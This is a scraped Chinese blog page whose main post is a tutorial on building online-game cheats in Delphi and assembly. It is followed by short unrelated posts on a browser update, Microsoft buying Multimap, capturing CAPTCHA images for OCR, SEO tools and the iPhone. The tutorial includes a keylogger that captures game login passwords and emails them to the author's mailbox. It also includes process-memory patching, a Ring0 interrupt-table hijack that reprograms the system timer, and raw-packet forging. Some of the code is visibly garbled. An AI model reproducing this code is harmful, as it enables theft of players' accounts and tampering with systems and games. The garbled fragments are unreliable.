引自:/keylife/iblog_show.asp?xid=29781上回对五种类型的外挂做了一个大体的概括,大家对这几种外挂都有了一定的了解,现在就依次(制作难度)由浅到深谈谈我对外挂制作的一些认识吧~~~~首先,先来谈一下动作式的外挂,这也是我第一次写外挂时做的最简单的一种。记得还在&石器&时代的时候,我看到别人挂着一种软件(外挂)人物就可以四外游走(当时我还不知道外挂怎么回事^_^),于是找了这种软件过来研究(拿来后才听别人说这叫外挂),发现这种东东其实实现起来并不难,仔佃看其实人物的行走无非就是鼠标在不同的地方点来点去而已,看后就有实现这功能的冲动,随后跑到MSDN上看了一些资料,发现这种实现这几个功能,只需要几个简单的API函数就可以搞定:1、首先我们要知道现在鼠标的位置(为了好还原现在鼠标的位置)所以我们就要用到API函数GetCursorPos,它的使用方法如下:BOOL GetCursorPos(LPPOINT lpPoint // address of structure for cursor position);2、我们把鼠标的位置移到要到人物走到的地方,我们就要用到SetCursorPos函数来移动鼠标位置,它的使用方法如下:BOOL SetCursorPos(int X, // horizontal positionint Y // vertical position);3、模拟鼠标发出按下和放开的动作,我们要用到mouse_event函数来实现,具休使用方法用下:VOID mouse_event(DWORD dwFlags, // flags specifying various motion/click variantsDWORD dx, // horizontal mouse position or position changeDWORD dy, // vertical mouse position or position changeDWORD dwData, // amount of wheel movementDWORD dwExtraInfo // 32 bits of application-defined information);在它的dwFlags处,可用的事件很多如移动MOUSEEVENTF_MOVE,左键按下MOUSEEVENTF_LEFTDOWN,左键放开MOUSEEVENTF_LEFTUP,具体的东东还是查一下MSDN吧~~~~~好了,有了以前的知识,我们就可以来看看人物移走是怎么实现的了:getcursorpos(point);setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机坐标函数mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);setcursorpos(point.x,point.y);看了以上的代码,是不是觉得人物的游走很简单啦~~,举一仿三,还有好多好东东可以用这个技巧实现(我早就说过,TMD,这是垃圾外挂的做法,相信了吧~~~),接下来,再看看游戏里面自动攻击的做法吧(必需游戏中攻击支持快捷键的),道理还是一样的,只是用的API不同罢了~~~,这回我们要用到的是keybd_event函数,其用法如下:VOID keybd_event(BYTE bVk, // virtual-key codeBYTE bScan, // hardware scan codeDWORD dwFlags, // flags specifying various function optionsDWORD dwExtraInfo // additional data associated with keystroke);我们还要知道扫描码不可以直接使用,要用函数MapVirtualKey把键值转成扫描码,MapVirtualKey的具体使用方法如下:UINT MapVirtualKey(UINT uCode, // virtual-key code or scan codeUINT uMapType // translation to perform);好了,比说此快接键是CTRL+A,接下来让我们看看实际代码是怎么写的:keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);keybd_event(65,mapvirtualkey(65,0),0,0);keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);首先模拟按下了CTRL键,再模拟按下A键,再模拟放开A键,最后放开CTRL键,这就是一个模拟按快捷键的周期。(看到这里,差不多对简易外挂有了一定的了解了吧~~~~做一个试试?如果你举一仿三还能有更好的东东出来,这就要看你的领悟能力了~~,不过不要高兴太早这只是才开始,以后还有更复杂的东东等着你呢~~) 10:36:05 上回我们对动作式外挂做了一个解析,动作式是最简单的外挂,现在我们带来看看,比动作式外挂更进一步的外挂&&本地修改式外挂的整个制作过程进行一个详细的分解。具我所知,本地修改式外挂最典型的应用就是在&精灵&游戏上面,因为我在近一年前(&精灵&还在测试阶段),我所在的公司里有很多同事玩&精灵&,于是我看了一下游戏的数据处理方式,发现它所发送到服务器上的信息是存在于内存当中(我看后第一个感受是:修改这种游戏和修改单机版的游戏没有多大分别,换句话说就是在他向服务器提交信息之前修改了内存地址就可以了),当时我找到了地址于是修改了内存地址,果然,按我的想法修改了地址,让系统自动提交后,果然成功了~~~~~,后来&精灵&又改成了双地址校检,内存校检等等,在这里我就不废话了~~~~,OK,我们就来看看这类外挂是如何制作的:在做外挂之前我们要对Windows的内存有个具体的认识,而在这里我们所指的内存是指系统的内存偏移量,也就是相对内存,而我们所要对其进行修改,那么我们要对几个Windows API进行了解,OK,跟着例子让我们看清楚这种外挂的制作和API的应用(为了保证网络游戏的正常运行,我就不把找内存地址的方法详细解说了):1、首先我们要用FindWindow,知道游戏窗口的句柄,因为我们要通过它来得知游戏的运行后所在进程的ID,下面就是FindWindow的用法:HWND FindWindow(LPCTSTR lpClassName, // pointer to class nameLPCTSTR lpWindowName // pointer to window name);2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID,函数用法如下:DWORD GetWindowThreadProcessId(HWND hWnd, // handle of windowLPDWORD lpdwProcessId // address of variable for process identifier);3、得到游戏进程ID后,接下来的事是要以最高权限打开进程,所用到的函数OpenProcess的具体使用方法如下:HANDLE OpenProcess(DWORD dwDesiredAccess, // access flagBOOL bInheritHandle, // handle inheritance flagDWORD dwProcessId // process identifier);在dwDesiredAccess之处就是设存取方式的地方,它可设的权限很多,我们在这里使用只要使用PROCESS_ALL_ACCESS 来打开进程就可以,其他的方式我们可以查一下MSDN。4、打开进程后,我们就可以用函数对存内进行操作,在这里我们只要用到WriteProcessMemory来对内存地址写入数据即可(其他的操作方式比如说:ReadProcessMemory等,我在这里就不一一介绍了),我们看一下WriteProcessMemory的用法:BOOL WriteProcessMemory(HANDLE hProcess, // handle to process whose memory is written toLPVOID lpBaseAddress, // address to start writing toLPVOID lpBuffer, // pointer to buffer to write data toDWORD nSize, // number of bytes to writeLPDWORD lpNumberOfBytesWritten // actual number of bytes written);5、下面用CloseHandle关闭进程句柄就完成了。这就是这类游戏外挂的程序实现部份的方法,好了,有了此方法,我们就有了理性的认识,我们看看实际例子,提升一下我们的感性认识吧,下面就是XX游戏的外挂代码,我们照上面的方法对应去研究一下吧:constResourceOffset: dword = $;resource: dword = ;ResourceOffset1: dword = $;resource1: dword = ;ResourceOffset2: dword = $0043FA50;resource2: dword = 1280185;ResourceOffset3: dword = $0043FA54;resource3: dword = ;ResourceOffset4: dword = $0043FA58;resource4: dword = ;varhw: HWND;pid:h: THtt: Cbeginhw := FindWindow('XX', nil);if hw = 0 thenEGetWindowThreadProcessId(hw, @pid);h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);if h = 0 thenEif flatcheckbox1.Checked=true thenbeginWriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt);if flatcheckbox2.Checked=true thenbeginWriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt);WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);MessageBeep(0);CloseHandle(h);这个游戏是用了多地址对所要提交的数据进行了校验,所以说这类游戏外挂制作并不是很难,最难的是要找到这些地址。 10:37:27 以前介绍过的动作式,本地修改式外挂是真正意义上的外挂,而今天本文要介绍的木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。在做程序之前我们必需要了解一下程序的思路:1、我们首先知道你想记录游戏的登录窗口名称。2、判断登录窗口是否出现。3、如果登录窗口出现,就记录键盘。4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:HWND FindWindow(LPCTSTR lpClassName, // pointer to class nameLPCTSTR lpWindowName // pointer to window name);实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:HHOOK SetWindowsHookEx(int idHook, // type of hook to installHOOKPROC lpfn, // address of hook procedureHINSTANCE hMod, // handle of application instanceDWORD dwThreadId // identity of thread to install hook for);在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);而HOOKPROC里的函数就要复杂一点点:function HookProc(iCode: wParam: wP lParam: lParam): LRbeginif findedtitle then //如果发现窗口后beginif (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。if length(hookkey) & 0 then //如果获得按键名称beginWrite(hookkeyFile,hookkey); //把按键名称写入文本文件hookkey := '';以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:assignfile(ReadFile,'hook.txt'); //打开hook.txt这个文本文件reset(ReadFile); //设为读取方式tryWhile not Eof(ReadFile) do //当没有读到文件尾beginReadln(ReadFile,s,j); //读取文件行body:=body+s;finallyclosefile(ReadFile); //关闭文件nmsmtp1.EncodeType:=uuM //设置编码nmsmtp1.PostMessage.Attachments.Text:=''; //设置附件nmsmtp1.PostMessage.FromAddress:=''; //设置源邮件地址nmsmtp1.PostMessage.ToAddress.Text:=''; /设置目标邮件地址nmsmtp1.PostMessage.Body.Text:='密码'+' '+ //设置邮件内容nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题nmsmtp1.SendM //发送邮件 10:38:09 我一直没有搞懂制作加速外挂是怎么一回事,直到前不久又翻出来了2001年下半期的《程序员合订本》中《&变速齿轮&研究手记》重新回味了一遍,才有了一点点开悟,随后用Delphi重写了一遍,下面我就把我的心得说给大家听听,并且在此感谢《&变速齿轮&研究手记》作者褚瑞大虲给了提示。废话我就不多说了,那就开始神奇的加速型外挂体验之旅吧!原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。以前DOS时代玩过编程的人就会马上想到,这很简单嘛不就是直接修改一下8253寄存器嘛,这在以前DOS时代可能可以行得通,但是windows则不然。windows是一个32位的操作系统,并不是你想改哪就改哪的(微软的东东就是如此霸气,说不给你改就不给你改^_^),但要改也不是不可能,我们可以通过两种方法来实现:第一是写一个硬件驱动来完成,第二是用Ring0来实现(这种方法是CIH的作者陈盈豪首用的,它的原理是修改一下IDT表-&创建一个中断门-&进入Ring0-&调用中断修改向量,但是没有办法只能用ASM汇编来实现这一切*_*,做为高级语言使用者惨啦!),用第一种方法用点麻烦,所以我们在这里就用第二种方法实现吧~~~在实现之前我们来理一下思路吧:1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门,修改向量等工作2、调用这个过程来实现加速功能好了,现在思路有了,我们就边看代码边讲解吧:首先我们建立一个过程,这个过程就是本程序的核心部份:procedure SetRing(value:word);const ZDH = $03; // 设一个中断号varIDT : array [0..5] // 保存IDT表OG : //存放旧向量beginasmpush ebxsidt IDT //读入中断描述符表mov ebx, dword ptr [IDT+2] //IDT表基地址add ebx, 8*ZDH //计算中断在中断描述符表中的位置cli //关中断mov dx, word ptr [ebx+6]shl edx, 16dmov dx, word ptr [ebx]mov [OG], edxmov eax, offset @@Ring0 //指向Ring0级代码段mov word ptr [ebx], ax //低16位,保存在1,2位shr eax, 16dmov word ptr [ebx+6], ax //高16位,保存在6,7位int ZDH //中断mov ebx, dword ptr [IDT+2] //重新定位add ebx, 8*ZDHmov edx, [OG]mov word ptr [ebx], dxshr edx, 16dmov word ptr [ebx+6], dx //恢复被改了的向量pop ebxjmp @@exitasm //到exitasm处@@Ring0: //Ring0,这个也是最最最核心的东东mov al,$34 //写入8253控制寄存器out $43,almov ax,value //写入定时值out $40,al //写定时值低位mov al,ahout $40,al //写定时值高位iretd //返回@@exitasm:最核心的东西已经写完了,大部份读者是知其然不知其所以然吧,呵呵,不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于&变速齿轮&的一个东东吧!先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));因为windows默认的值为$1742,所以我们把1742做为基数,又因为值越小越快,反之越慢的原理,所以写了这样一个公式,好了,这就是&变速齿轮&的一个Delphi+ASM版了(只适用于win9X),呵呵,试一下吧,这对你帮助会很大的,呵呵。在win2000里,我们不可能实现在直接对端口进行操作,Ring0也失了效,有的人就会想到,我们可以写驱动程序来完成呀,但在这里我告诉你,windows2000的驱动不是一个VxD就能实现的,像我这样的低手是写不出windows所用的驱动WDM的,没办法,我只有借助外力实现了,ProtTalk就是一个很好的设备驱动,他很方便的来实现对低层端口的操作,从而实现加速外挂。1、我们首先要下一个PortTalk驱动,他的官方网站是http://www.beyondlogic.org2、我们要把里面的prottalk.sys拷贝出来。3、建立一个Protalk.sys的接口(我想省略了,大家可以上/liuyue/porttalk.pas下个pas文件自己看吧)4、实现加速外挂。本来就篇就是补充篇原理我也不想讲太多了,下面就讲一下这程序的实现方法吧,如果说用ProtTalk来操作端口就容易多了,比win98下用ring权限操作方便。1、新建一个工程,把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。2、我们在我们新建的工程加入我们的接口文件useswindows,ProtTalk&&3、我们建立一个过程procedure SetRing(value:word);beginif not OpenPortToutportb($43,$34);outportb($40,lo(Value));outprotb($40,hi(value));ClosePortT4、先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160))); 22:57:57 网络游戏的封包技术是大多数编程爱好者都比较关注的关注的问题之一,在这一篇里就让我们一起研究一下这一个问题吧。别看这是封包这一问题,但是涉及的技术范围很广范,实现的方式也很多(比如说APIHOOK,VXD,Winsock2都可以实现),在这里我们不可能每种技术和方法都涉及,所以我在这里以Winsock2技术作详细讲解,就算作抛砖引玉。由于大多数读者对封包类编程不是很了解,我在这里就简单介绍一下相关知识:APIHooK:由于Windows的把内核提供的功能都封装到API里面,所以大家要实现功能就必须通过API,换句话说就是我们要想捕获数据封包,就必须先要得知道并且捕获这个API,从API里面得到封包信息。VXD:直接通过控制VXD驱动程序来实现封包信息的捕获,不过VXD只能用于win9X。winsock2:winsock是Windows网络编程接口,winsock工作在应用层,它提供与底层传输协议无关的高层数据传输编程接口,winsock2是winsock2.0提供的服务提供者接口,但只能在win2000下用。好了,我们开始进入winsock2封包式编程吧。在封包编程里面我准备分两个步骤对大家进行讲解:1、封包的捕获,2、封包的发送。首先我们要实现的是封包的捕获:Delphi的封装的winsock是1.0版的,很自然winsock2就用不成。如果要使用winsock2我们要对winsock2在Delphi里面做一个接口,才可以使用winsock2。1、如何做winsock2的接口?1)我们要先定义winsock2.0所用得到的类型,在这里我们以WSA_DATA类型做示范,大家可以举一仿三的来实现winsock2其他类型的封装。我们要知道WSA_DATA类型会被用于WSAStartup(wVersionRequired: var WSData: TWSAData): I,大家会发现WSData是引用参数,在传入参数时传的是变量的地址,所以我们对WSA_DATA做以下封装:constWSADESCRIPTION_LEN = 256;WSASYS_STATUS_LEN = 128;typePWSA_DATA = ^TWSA_DATA;WSA_DATA = recordwVersion: WwHighVersion: WszDescription: array[0..WSADESCRIPTION_LEN] of CszSystemStatus: array[0..WSASYS_STATUS_LEN] of CiMaxSockets: WiMaxUdpDg: WlpVendorInfo: PCTWSA_DATA = WSA_DATA;2)我们要从WS2_32.DLL引入winsock2的函数,在此我们也是以WSAStartup为例做函数引入:function WSAStartup(wVersionRequired: var WSData: TWSAData): Iimplementationconst WinSocket2 = 'WS2_32.DLL';function WSAS external winsocket name 'WSAStartup';通过以上方法,我们便可以对winsock2做接口,下面我们就可以用winsock2做封包捕获了,不过首先要有一块网卡。因为涉及到正在运作的网络游戏安全问题,所以我们在这里以IP数据包为例做封包捕获,如果下面的某些数据类型您不是很清楚,请您查阅MSDN:1)我们要起动WSA,这时个要用到的WSAStartup函数,用法如下:INTEGER WSAStartup(wVersionRequired: word,WSData: TWSA_DATA);2)使用socket函数得到socket句柄,m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP); 用法如下:INTEGER socket(af: Integer,Struct: Integer,protocol: Integer);m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP);在程序里m_hSocket为socket句柄,AF_INET,SOCK_RAW,IPPROTO_IP均为常量。3)定义SOCK_ADDR类型,跟据我们的网卡IP给Sock_ADDR类型附值,然后我们使用bind函数来绑定我们的网卡,Bind函数用法如下:TypeIN_ADDR = recordS_addr : PCETypeTSOCK_ADDR = recordsin_family: Wsin_port: Wsin_addr : IN_ADDRsin_zero: array[0..7] of CEvarLocalAddr:TSOCK_ADDR;LocalAddr.sin_family: = AF_INET;LocalAddr.sin_port: = 0;LocalAddr.sin_addr.S_addr: = inet_addr('192.168.1.1'); //这里你自己的网卡的IP地址,而inet_addr这个函数是winsock2的函数。bind(m_hSocket, LocalAddr, sizeof(LocalAddr));4)用WSAIoctl来注册WSA的输入输出组件,其用法如下:INTEGER WSAIoctl(s:INTEGER,dwIoControlCode : INTEGER,lpvInBuffer :INTEGER,cbInBuffer : INTEGER,lpvOutBuffer : INTEGER,cbOutBuffer: INTEGER,lpcbBytesReturned : INTEGER,lpOverlapped : INTEGER,lpCompletionRoutine : INTEGER);5)下面做死循环,在死循环块里,来实现数据的接收。但是徇环中间要用Sleep()做延时,不然程序会出错。6)在循环块里,用recv函数来接收数据,recv函数用法如下:INTEGER recv (s : INTEGER,buffer:Array[0..4095] of byte,length : INTEGER,flags : INTEGER,);7)在buffer里就是我们接收回来的数据了,如果我们想要知道数据是什么地方发来的,那么,我们要定义一定IP包结构,用CopyMemory()把IP信息从buffer里面读出来就可以了,不过读出来的是十六进制的数据需要转换一下。看了封包捕获的全过程序,对你是不是有点起发,然而在这里要告诉大家的是封包的获得是很容易的,但是许多游戏的封包都是加密的,如果你想搞清楚所得到的是什么内容还需要自己进行封包解密。 23:17:38 在本章中,我们主要来研究一下封包的制作和发送,同样,我们所采用的方法是Delphi+winsock2来制作。在以前说过在Delphi中只封装了winsock1,winsock2需要自已封装一下,我在此就不多介绍如何封装了。下面就一步步实现我们的封包封装与发送吧:首先,我们应该知道,封包是分两段的,一段是IP,一段是协议(TCP,UDP,其他协议),IP就像邮政编码一样,标识着你的这个封包是从哪里到哪里,而协议里记录着目标所要用到的包的格式及校验等,在网络游戏中的协议一般都是自已定义的,要破解网络游戏最重要的是学会破解网络游戏的协议网络游戏协议破解,为了不影响现运行的网络游戏的安全,我在此会以UDP协议为例,介绍一下网络协议的封包与发送的全过程。接下来,我们就可以开始看看整个封包全过程了:1)我们要起动sock2,这时个要用到的WSAStartup函数,用法如下:INTEGER WSAStartup(wVersionRequired: word,WSData: TWSA_DATA);在程序中wVersionRequired我们传入的值为$0002,WSData为TWSA_DATA的结构。2)使用socket函数创建并得到socket句柄; 用法如下:INTEGER socket(af: Integer,Struct: Integer,protocol: Integer);注意的是在我们的程序封包中饱含了IP包头,所以我们的Struct参数这里要传入的参数值为2,表示包含了包头。该函数返回值为刚刚创建的winsocket的句柄。3)使用setsockopt函数设置sock的选项; 用法如下:INTEGER setsockopt(s: Integer,level: Integer,optname: Integer,optval: PChar,optlen: Integer);在S处传入的是Socket句柄,在本程序里level输入的值为0表示IP(如果是6表示TCP,17表示UDP等~),OptName里写入2,而optval的初始值填入1,optlen为optval的大小。4)接下来我们要分几个步骤来实现构建封包:1、把IP转换成sock地址,用inet_addr来转换。Longint inet_addr(cp: PChar);2、定义包的总大小、IP的版本信息为IP结构:总包大小=IP头的大小+UDP头的大小+UDP消息的大小,IP的版本,在此程序里定义为4,3、填写IP包头的结构:ip.ipverlen := IP的版本 shl 4;ip.iptos := 0; // IP服务类型ip.iptotallength := ; // 总包大小ip.ipid := 0; // 唯一标识,一般设置为0ip.ipoffset := 0; // 偏移字段ip.ipttl := 128; // 超时时间ip.ipprotocol := $11; // 定义协议ip.ipchecksum := 0 ; // 检验总数ip.ipsrcaddr := ; // 源地址ip.ipdestaddr := ; // 目标地址4、填写UDP包头的结构:udp.srcportno := ; //源端口号udp.dstportno := ; //目标端口号udp.udplength := ; //UDP包的大小udp.udpchecksum := ; //检验总数5、把IP包头,UDP包头及消息,放入缓存。6、定义远程信息:remote.family := 2;remote.port :=; //远程端口remote.addr.addr :=; //远程地址5)我们用SendTo发送封包,用法如下:INTEGER sendto(s: Integer,var Buf: Integer,var len: Integer,var flags: Integer,var addrto: TSock_Atolen: Integer);在S处传入的是Socket句柄,Buf是刚刚建好的封包,len传入封包的总长度刚刚计算过了,flag是传入标记在这里我们设为0,addto发送到的目标地址,在这里我们就传入remote就可以了,tolen写入的是remote的大小。6)到了最后别忘记了用CloseSocket(sh)关了socket和用WSACleanup关了winsock。最后要说的是这种发送方式,只能发送完全被破解的网络协议,如果要在别人的程序中间发送数据就只有用APIHOOK或在winsock2做中间层了。
at February 20, 2008. by 傻猫 . &&nbsp Views: 4127 &&nbsp
今天傲游升级到2.0.7后,换了一个圣诞皮肤,算是一个惊喜吧,哈哈。具体详情请看截图。在开发人员和广大用户的努力下,傲游(Maxthon)2.0.7新年版于年前发布。希望这个新版能在崭新的一年里为大家带来全新的使用体验。本次更新增加了不少实用功能,例如通过邮件发送当前页面或链接等,不过最大的亮点还是页面浏览性能的提升。本版对页面快速加载做了不少优化,机器和网络稍差的朋友应该会获得更好的浏览体验。除此之外,本测试版应广大网友要求,对拼写检查加入了多语言支持,可自行下载字典进行扩展。需要注意的是,本次有些更新在升级安装(覆盖安装)的情况下,需要重置部分界面才能正常使用。重置方法为:右键单击状态栏,在菜单中选中&自定义&菜单项,然后在弹出的自定义对话框里选择&工具栏&选项卡,按要求进行重置即可。最后,傲游全体员工祝大家新年快乐!本次全部更新可参见附录。附录 & 2.0.7版更新信息汇总+ 通过邮件发送(当前页面、当前链接)(需重置菜单栏)+ 恢复IE为默认浏览器的选项+ 增加站点加速功能+ 增加启动时不打开任何页面的选项+ 恢复自动隐藏功能(需重置菜单栏)* 增强了页面浏览的性能* 拼写检查更新,支持多语言词典* 增加多线程下的输入法支持开关选项* 解决在多显示器或者单显示器分辨率切换的情况下,主窗口显示不出来的问题* 外部工具子菜单中增加 添加外部工具 菜单项(需重置主菜单)* 解决某些情况下导致撤销的页面,前进后退历史丢失的问题(56661)* 修复傲游爱心站点添加收藏时,收藏显示缓慢的问题(56097)* 修正过滤列表/嗅探器窗口最小化时无法简单还原的问题(56762)* 修改收藏导出到IE默认为覆盖* 解决站点图标不更新的问题* 提高保存表单的效率
at December 25, 2007. by 傻猫 . &&nbsp Views: 2389 &&nbsp
微软悄悄地购下了来自英国的地图服务厂商Multimap,目前还没有透露收购数额.Multimap同样是制作地图的技术公司,但他们的技术和Google Earth并不相同,收购之后,他们将成为微软的一部们,隶属于在线服务事业群,专门负责 Virtual Earth 和 Search团队的开发工作.他们的产品将和微软现有的产品和平台作整合.可以预计微软的Virtual Earth将出现不少新奇玩意,但是 Virtual Earth 对于中国用户来说还过于遥远 - 除非有一天他们收购了中国的电子地图公司.
at December 13, 2007. by 傻猫 . &&nbsp Views: 1829 &&nbsp
今天为了自动识别一个验证码,以前偷梁换柱的方法行不通了,从IE缓存里读取文件也行不通咯,看来只有用土办法了,我把你的验证码图片从屏幕上截下来,再对你进行OCR识别,看你还何话说。我想这个办法是没有办法中的办法,是万千办法中最强悍的办法,集老夫多年经验于一身,从大富翁论坛离线资料库查的,感谢大富翁,不过最近听说Delphi盒子要卖了,唉,世态炎凉啊,也不能怪站长,只能怪物价上涨,房价上涨,站长多年心血,唯一家产也就这个站了,希望能卖个好价钱,如果是我的话,卖了第一件事肯定是买套房子,Use Jpegprocedure TForm1.snapscreen(a,b,c,d:Integer);var& bmpscreen:T& jpegscreen:T& FullscreenCanvas:TC& dc:HDC;& sourceRect, destRect: TRbegin& try& dc:=getdc(0);& fullscreencanvas:=Tcanvas.C& fullscreencanvas.Handle:=& bmpscreen:=Tbitmap.& bmpscreen.Width :=c-a;& bmpscreen.Height :=d-b;& sourcerect:=rect(0,0,c-a ,d-b );& destrect:= rect(a,b,c,d);& bmpscreen.Canvas.CopyRect(sourcerect,fullscreenCanvas,destrect);& jpegscreen:=Tjpegimage.C& jpegscreen.Assign (bmpscreen);& pressionQuality:=100;& jpegscreen.SaveToFile(ExtractFilePath(ParamStr(0))+'tmp.jpg');& FullscreenCanvas.F& bmpscreen.F& jpegscreen.F& ReleaseDC(0, DC);& except&procedure TForm1.Button1Click(Sender: TObject);begin& snapscreen(self.Left,self.Top,Self.Left+self.Width,Self.Top+self.Height);
at November 26, 2007. by 傻猫 . &&nbsp Views: 4362 &&nbsp
内容与结构工具搜索引擎抓取内容模拟器可以模拟蜘蛛抓取指定网页Text,Link,Keywords及Description信息相似页面检测工具检验两个页面的相似度.如果相似度达80%以上,将可能受到惩罚Google&Sitemaps&在线创建在线创建&Google&Sitemaps&网站地图文件中文:英文:Google&Sitemaps&Builder&.NetGoogle&Sitemaps&创建软件,&可以很方便的创建网站的Sitemaps综合查询工具网站收录查询同时查询Google,百度,Yahoo等8个搜索引擎的收录状况关键词排名查询可以同时在3个搜索引擎中查询指定网页指定关键词的排名情况.搜索引擎优化监视器(&Monitor)一个仅321K的小软件,可以同时查询多个搜索引擎,多个关键词的排名情况.并自动记录历史排名情况.Google各服务器关键词排名查询查询在Google各个服务器中,指定网页指定关键词的排名情况,可以作为一个升降的参考关键词工具Google&Adwords关键词工具查询指定关键词的扩展匹配,搜索量,趋势和受欢迎度.百度相关搜索按热门程序排序,列出指定关键词相关的扩展匹配及热门程度关键词密度分析工具分析指定关键词在指定页面中出现的次数,及相应的百分比密度中文:英文:关键词热门排行及指数百度排行榜:百度指数:Yahoo排行榜:搜狗指数:搜搜龙虎榜:Google工具Google&SitemapsGoogle推出的一项免费服务,一个杰出的Google&AnalyticsGoogle推出的免费分析服务.在市场营销和内容优化上提供很多专业报表.对搜索引擎营销有很大帮助.Google&Dance&查询工具不仅可以查询Dance情况,还可以通过E-mail及时获得每月google&dance通知查看在GOOGLE各服务器上的PR值利用这个工具,可以判断PR是否更新,预测更新后的PR值Google&PR历史更新时间表看看Google&2000看至今更新PR的具体时间和周期时长链接工具链接广泛度检测工具反向链接查询工具.同时支持Google,百度,Yahoo等8个搜索引擎查询Google中链接的工具.可以抓取文本标题和链接.中文标题显示的是乱码Yahoo新推出的链接检查工具,可以查询网站中所有被检索的页面以及反向链接情况同时查询Google,Yahoo,MSN中的链接数量无效链接检查工具检查指定页面内的链接.包括链接有效性检查,链接文字,链接类型W3C&GLink&Checker其他工具国外主要搜索引擎和人工目录的关系表一个Flash,解析国外主流搜索引擎与人工目录的关系,对海外推广很有帮助网站历史查询工具美国互联网档案馆(The&Internet&Archive)保存了自1996年开始,借助Alexa搜索引擎获取的网站资料分类目录收录查询检查网站是否登录多个重要分类目录Alexa世界排名查询查同一IP上绑定的域名情况/IP地址/查看网站历史http://web.archive.org/web/*/http://www.域名.com本文由樂思蜀整理,转发请注明出处及链接!首发:点石互动
at November 14, 2007. by 傻猫 . &&nbsp Views: 2530 &&nbsp
iPhone是苹果Apple公司出口的一款智能手机,以小巧和功能齐全为最大特别,触摸宽屏iPod设计,可称历史上最强大的手机了,看一下图片绝对让你心动。以前在cb上经常看到iPhone的报道,起初我根本不知道Iphone是什么东西,网上经常报道说&XXX黑客破解了iPhone XXX版&怎么怎么的,后来仔细了解一下,原来Apple与美国AT&公司联合推出的新手机,由于与运营商绑定,网络只支持AT公司的,黑客们破解了这个限制,让iPhone也支持其它运营商,国内预计上市时间就是2008年,所以呀,我日思夜梦都想要一台属于我的iPhone,那手机真的太爽了,简直就是一台小电脑,功能太多我就不一一介绍了,希望在内推出时,价格不要太贵,也好让我的白日梦变成现实。&& &&&& &&& &&& &&&& &&& && &&& && && & & & &&& && &&& & &&& && 2007年1月 9 日苹果公司今推出了小巧、轻盈的手持设备iPhone,将创新的移动电话、可触摸宽屏iPod以及具有桌面级电子邮件、网页浏览、搜索和地图功能的突破性因特网通信设备这三种产品完美地融为一体。iPhone引入了基于大型多触点显示屏和领先性新软件的全新用户界面,让用户用手指即可控制iPhone。iPhone还开创了移动设备软件尖端功能的新纪元,重新定义了移动电话的功能。&iPhone是一款革命性的、不可思议的产品,比市场上的其他任何移动电话整整领先了五年,&苹果公司首席执行官史蒂夫.乔布斯说,&手指是我们与生俱来的终极定点设备,而iPhone利用它们创造了自鼠标以来最具创新意义的用户界面。&iPhone是一款革命性的移动电话iPhone是一款革命性的新型移动电话,用户只需点按某个姓名或号码就能拨打电话。iPhone能够从PC、Mac或因特网服务供应商(例如 